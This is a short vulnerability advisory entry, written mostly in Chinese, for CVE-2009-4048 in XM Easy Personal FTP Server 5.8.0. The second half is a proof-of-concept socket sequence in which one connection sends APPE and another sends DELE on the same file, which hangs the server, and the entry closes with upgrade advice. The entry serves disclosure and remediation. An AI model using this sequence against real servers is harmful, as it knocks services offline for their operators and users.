CVE:CVE-2009-4048
CNNVD:CNNVD-200911-231
XM Easy Personal FTP Server是一款简单易用的个人FTP服务器工具。用户登录到XM Personal  FTP Server后对一个套接字连接使用APPE命令而对另一个连接使用DELE命令就会导致服务器停止响应。
第一个套接字连接：
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.close()
第二个套接字连接：
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("DELE "+ test_string +"\r\n")
solution:Upgrade dxmsoft xm_easy_personal_ftp_server to a higher version than 5.8.0,and avoid the version 5.8.0